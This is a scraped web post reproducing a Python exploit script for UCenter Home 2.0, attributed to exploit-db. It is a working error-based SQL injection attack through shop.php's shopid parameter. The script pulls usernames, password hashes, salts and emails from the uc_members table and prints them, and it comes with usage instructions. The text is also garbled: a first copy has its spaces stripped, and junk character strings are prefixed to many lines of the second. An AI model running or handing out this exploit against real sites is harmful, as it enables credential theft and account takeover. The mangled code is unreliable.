UCenter Home 2.0 EXP

admin

#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl


#!/usr/bin/env python  
) \4 O+ l6 V  M/ z; T
import sys  
' Q% _' ~! L- ]8 eimport urllib2  
. ?( h- ~$ {" O3 r+ Aimport re  
; @9 N( Y2 B( J" S( u; Y
def info():  
0 Z/ E/ N; Q! E    print 'From:http://www.exploit-db.com/exploits/14997/'
    print 'http://www.hake.cc/Web_loudong/'
    print 'changed:qiaoy'  
/ a& x- Q2 I' b, M, h  T    print 'exp:'  
# S: @2 B. v9 P$ q  E    print ' ./UCenter_Home_2.0.py site'  
9 P$ R9 D8 b4 N0 F" T# P6 w
" Z4 J. p9 j$ D. T( D" |0 Wdef main():  
4 n/ n$ j4 B% h8 u7 P! ~    if len(sys.argv) != 2:  
9 o. L8 S" R, s. Q- E        info()  
    else:  
' z/ a; p4 t3 D* ~$ }        site = sys.argv[1]  
        if site[0:7] == 'http://':  
            sitesite =site  
        elif site[0:8] == 'https://':  
            sitesite = site  
! v: v' \: A, Z+ D4 u# J$ Y        else:  
" v# \2 d& C( l' X  o4 [- V- c            site = 'http://'+site  
        try:  
& `) S' S1 n9 \6 x            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  
            Value = urllib2.urlopen(url).read()  
6 K& ^0 X8 ?# T+ m% j5 p) T3 C# R5 j' O            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  
4 }: M3 o( E& D- ~7 V            hacked = Msg.split(':')  
- ^" E" `; H: L" {            print 'Name:    '+hacked[1]  
            print 'Passwd:  '+hacked[2]  
; k# S6 |) S/ A; s! V            print 'salt:    '+hacked[3]  
            print 'email:   '+hacked[4]  
        except:  
            print 'Sorry,I can\'t work............'  

* @9 q, `. T. S% ?% A+ ^/ Fif __name__ == '__main__':  
    main()